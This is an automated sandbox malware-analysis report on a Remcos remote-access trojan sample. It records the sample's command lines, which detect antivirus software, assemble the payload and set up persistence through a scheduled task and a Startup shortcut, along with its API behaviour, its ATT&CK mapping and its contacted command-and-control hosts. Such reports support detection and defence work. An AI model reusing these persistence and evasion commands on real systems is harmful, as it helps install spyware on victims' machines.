Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_002BA087 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	21_2_002BA087
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_002BA1E2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	21_2_002BA1E2
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_002AE472 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	21_2_002AE472
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_002BA570 FindFirstFileW,Sleep,FindNextFileW,FindClose,	21_2_002BA570
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_0027C622 FindFirstFileExW,	21_2_0027C622
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_002B66DC FindFirstFileW,FindNextFileW,FindClose,	21_2_002B66DC
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_002B7333 FindFirstFileW,FindClose,	21_2_002B7333
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_002B73D4 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	21_2_002B73D4
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_002AD921 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	21_2_002AD921
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_002ADC54 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	21_2_002ADC54

Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com

Code function: 21_2_00245FC8 GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

21_2_00245FC8

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\	Jump to behavior

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com

Process information queried: ProcessInformation

Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com

Code function: 21_2_002BF4FF BlockInput,

21_2_002BF4FF

Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com

Code function: 21_2_0024338B GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,KiUserCallbackDispatcher,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

21_2_0024338B

Source: C:\Users\user\Desktop\RailProvides_nopump.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com

Code function: 21_2_00265058 mov eax, dword ptr fs:[00000030h]

21_2_00265058

Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com

Code function: 21_2_002A20AA GetLengthSid,GetProcessHeap,HeapAlloc,CopySid,GetProcessHeap,HeapFree,

21_2_002A20AA

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_00272992 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	21_2_00272992
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_00260BAF IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	21_2_00260BAF
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_00260D45 SetUnhandledExceptionFilter,	21_2_00260D45
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_00260F91 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	21_2_00260F91

Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com

21_2_002A1B4D

Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com

Code function: 21_2_0024338B GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,KiUserCallbackDispatcher,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

21_2_0024338B

Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com

Code function: 21_2_002ABBED SendInput,keybd_event,

21_2_002ABBED

Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com

Code function: 21_2_002AEC6C mouse_event,

21_2_002AEC6C

Source: C:\Users\user\Desktop\RailProvides_nopump.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Nr Nr.cmd & Nr.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 361684	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Approaches	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Korea" Measurement	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 361684\Propose.com + Different + Constitute + Instantly + Led + Indonesia + Dressing + Missed + Brian + Clinton + Protocol 361684\Propose.com	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Next + ..\Math + ..\Blocked + ..\Leisure + ..\Substantial + ..\Beam + ..\Cocks + ..\David + ..\Undefined + ..\Realm U	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com Propose.com U	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "Murray" /tr "wscript //B 'C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js'" /sc minute /mo 5 /F	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com" "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\y"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com" "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\y"	Jump to behavior

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\linkhub.url" & echo url="c:\users\user\appdata\local\connectware technologies ltd\linkhub.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\linkhub.url" & exit
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\linkhub.url" & echo url="c:\users\user\appdata\local\connectware technologies ltd\linkhub.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\linkhub.url" & exit			Jump to behavior

Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com

Code function: 21_2_002A14AE GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

21_2_002A14AE

Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com

Code function: 21_2_002A1FB0 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

21_2_002A1FB0

Source: Propose.com, 0000000D.00000003.2081021797.00000000041CE000.00000004.00000800.00020000.00000000.sdmp, Propose.com, 0000000D.00000000.2074294662.0000000000F03000.00000002.00000001.01000000.00000006.sdmp, LinkHub.com, 00000015.00000002.2118419182.0000000000303000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: LinkHub.com	Binary or memory string: Shell_TrayWnd
Source: logs.dat.13.dr	Binary or memory string: [Program Manager]

Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com

Code function: 21_2_00260A08 cpuid

21_2_00260A08

Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com

Code function: 21_2_0029E5F4 GetLocalTime,

21_2_0029E5F4

Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com

Code function: 21_2_0029E652 GetUserNameW,

21_2_0029E652

Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com

Code function: 21_2_0027BCD2 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

21_2_0027BCD2

Source: C:\Users\user\Desktop\RailProvides_nopump.exe

Code function: 0_2_00406805 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406805

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Source: Yara match

File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Source: LinkHub.com	Binary or memory string: WIN_81
Source: LinkHub.com	Binary or memory string: WIN_XP
Source: Brian.9.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: LinkHub.com	Binary or memory string: WIN_XPe
Source: LinkHub.com	Binary or memory string: WIN_VISTA
Source: LinkHub.com	Binary or memory string: WIN_7
Source: LinkHub.com	Binary or memory string: WIN_8

Remote Access Functionality

Detected Remcos RAT

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com

Mutex created: \Sessions\1\BaseNamedObjects\Rmc-3QMI88

Source: Yara match

File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_002C2263 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		21_2_002C2263
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	Code function: 21_2_002C1C61 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,		21_2_002C1C61

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	2 Valid Accounts	1 Windows Management Instrumentation	11 Scripting	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	121 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	121 Input Capture	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	2 Valid Accounts	2 Valid Accounts	2 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	17 System Information Discovery	Distributed Component Object Model	Input Capture	1 Remote Access Software	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	2 Registry Run Keys / Startup Folder	12 Process Injection	111 Masquerading	LSA Secrets	2 Security Software Discovery	SSH	Keylogging	2 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Scheduled Task/Job	2 Valid Accounts	Cached Domain Credentials	1 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	2 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	2 Registry Run Keys / Startup Folder	1 Virtualization/Sandbox Evasion	DCSync	4 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
RailProvides_nopump.exe	10%	Virustotal		Browse
RailProvides_nopump.exe	8%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	0%	ReversingLabs

Name	IP	Active	Malicious	Reputation
geoplugin.net	178.237.33.50	true	false	high
me-work.com	193.26.115.39	true	false	high
ecIUYmCipwWZXGGOIZYONyVhLKgCF.ecIUYmCipwWZXGGOIZYONyVhLKgCF	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://geoplugin.net/json.gp	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://www.autoitscript.com/autoit3/X	Propose.com, 0000000D.00000003.2081267154.00000000042D4000.00000004.00000800.00020000.00000000.sdmp, Propose.com, 0000000D.00000000.2074387011.0000000000F15000.00000002.00000001.01000000.00000006.sdmp, LinkHub.com, 00000015.00000002.2118492603.0000000000315000.00000002.00000001.01000000.00000008.sdmp, LinkHub.com, 00000018.00000000.2213628665.0000000000315000.00000002.00000001.01000000.00000008.sdmp, LinkHub.com.13.dr, Clinton.9.dr, Propose.com.2.dr	false	high
http://nsis.sf.net/NSIS_ErrorError	RailProvides_nopump.exe	false	high
https://www.autoitscript.com/autoit3/	Propose.com, 0000000D.00000003.2081267154.00000000042D4000.00000004.00000800.00020000.00000000.sdmp, Propose.com, 0000000D.00000003.2390062403.00000000022D4000.00000004.00000020.00020000.00000000.sdmp, LinkHub.com.13.dr, Protocol.9.dr, Propose.com.2.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
178.237.33.50	geoplugin.net	Netherlands		8455	ATOM86-ASATOM86NL	false
193.26.115.39	me-work.com	Netherlands		46261	QUICKPACKETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1585212
Start date and time:	2025-01-07 10:14:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	RailProvides_nopump.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@40/32@3/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 86 Number of non-executed functions: 303
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 172.202.163.200, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
04:14:57	API Interceptor	1x Sleep call for process: RailProvides_nopump.exe modified
04:16:08	API Interceptor	5966695x Sleep call for process: Propose.com modified
10:15:03	Task Scheduler	Run new task: Murray path: wscript s>//B "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js"
10:15:06	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LinkHub.url

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
178.237.33.50	c2.hta	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	17360626254f6ab0798f0d71fe81e2d058a575b873a7088f40695d7fd8031d0961d3a3694a780.dat-decoded.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	Tax_Refund_Claim_2024_Australian_Taxation_Office.js	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	c2.hta	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	4XYAW8PbZH.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	iGhDjzEiDU.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	1.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	Faxed_6761fa19c0f9d_293874738_EXPORT_SOA__REF2632737463773364_221PLW.exe.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	heteronymous.vbs	Get hash	malicious	Remcos, GuLoader	Browse	geoplugin.net/json.gp
	2LDJIyMl2r.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
193.26.115.39	c2.hta	Get hash	malicious	Remcos	Browse
	9W9jJCj9EV.bat	Get hash	malicious	Remcos	Browse
	c2.hta	Get hash	malicious	Remcos	Browse
	c2.hta	Get hash	malicious	Remcos	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
me-work.com	c2.hta	Get hash	malicious	Remcos	Browse	193.26.115.39
	c2.hta	Get hash	malicious	Remcos	Browse	193.26.115.39
	c2.hta	Get hash	malicious	XWorm	Browse	193.26.115.21
	c2.hta	Get hash	malicious	XWorm	Browse	193.26.115.21
	c2.hta	Get hash	malicious	XWorm	Browse	193.26.115.21
	c2.hta	Get hash	malicious	XWorm	Browse	87.120.117.152
	p5.hta	Get hash	malicious	XWorm	Browse	45.88.186.197
geoplugin.net	c2.hta	Get hash	malicious	Remcos	Browse	178.237.33.50
	17360626254f6ab0798f0d71fe81e2d058a575b873a7088f40695d7fd8031d0961d3a3694a780.dat-decoded.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	Tax_Refund_Claim_2024_Australian_Taxation_Office.js	Get hash	malicious	Remcos	Browse	178.237.33.50
	c2.hta	Get hash	malicious	Remcos	Browse	178.237.33.50
	4XYAW8PbZH.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	iGhDjzEiDU.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	1.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	Faxed_6761fa19c0f9d_293874738_EXPORT_SOA__REF2632737463773364_221PLW.exe.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	heteronymous.vbs	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	2LDJIyMl2r.exe	Get hash	malicious	Remcos	Browse	178.237.33.50

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ATOM86-ASATOM86NL	c2.hta	Get hash	malicious	Remcos	Browse	178.237.33.50
	9W9jJCj9EV.bat	Get hash	malicious	Remcos	Browse	178.237.33.50
	17360626254f6ab0798f0d71fe81e2d058a575b873a7088f40695d7fd8031d0961d3a3694a780.dat-decoded.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	Tax_Refund_Claim_2024_Australian_Taxation_Office.js	Get hash	malicious	Remcos	Browse	178.237.33.50
	c2.hta	Get hash	malicious	Remcos	Browse	178.237.33.50
	c2.hta	Get hash	malicious	Remcos	Browse	178.237.33.50
	4XYAW8PbZH.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	iGhDjzEiDU.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	1.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	Faxed_6761fa19c0f9d_293874738_EXPORT_SOA__REF2632737463773364_221PLW.exe.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
QUICKPACKETUS	c2.hta	Get hash	malicious	Remcos	Browse	193.26.115.39
	https://z97f4f2525fyg27.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	172.82.129.154
	9W9jJCj9EV.bat	Get hash	malicious	Remcos	Browse	193.26.115.39
	c2.hta	Get hash	malicious	Remcos	Browse	193.26.115.39
	c2.hta	Get hash	malicious	Remcos	Browse	193.26.115.39
	Dd5DwDCHJD.exe	Get hash	malicious	Quasar	Browse	193.31.28.181
	3e88PGFfkf.exe	Get hash	malicious	DCRat	Browse	185.230.138.58
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	198.22.235.170
	la.bot.powerpc.elf	Get hash	malicious	Mirai	Browse	198.22.243.54
	la.bot.mipsel.elf	Get hash	malicious	Mirai	Browse	172.98.171.129

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com	c2.hta	Get hash	malicious	Remcos	Browse
	installer_1.05_36.8.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	DansMinistrie.exe	Get hash	malicious	LummaC	Browse
	installer_1.05_36.7.exe	Get hash	malicious	LummaC Stealer	Browse
	Set-up.exe	Get hash	malicious	LummaC Stealer	Browse
	'Set-up.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	9W9jJCj9EV.bat	Get hash	malicious	Remcos	Browse
	c2.hta	Get hash	malicious	Remcos	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com	c2.hta	Get hash	malicious	Remcos	Browse
	installer_1.05_36.8.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	DansMinistrie.exe	Get hash	malicious	LummaC	Browse
	installer_1.05_36.7.exe	Get hash	malicious	LummaC Stealer	Browse
	Set-up.exe	Get hash	malicious	LummaC Stealer	Browse
	'Set-up.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	9W9jJCj9EV.bat	Get hash	malicious	Remcos	Browse
	c2.hta	Get hash	malicious	Remcos	Browse

Created / dropped Files

C:\ProgramData\remcos\logs.dat

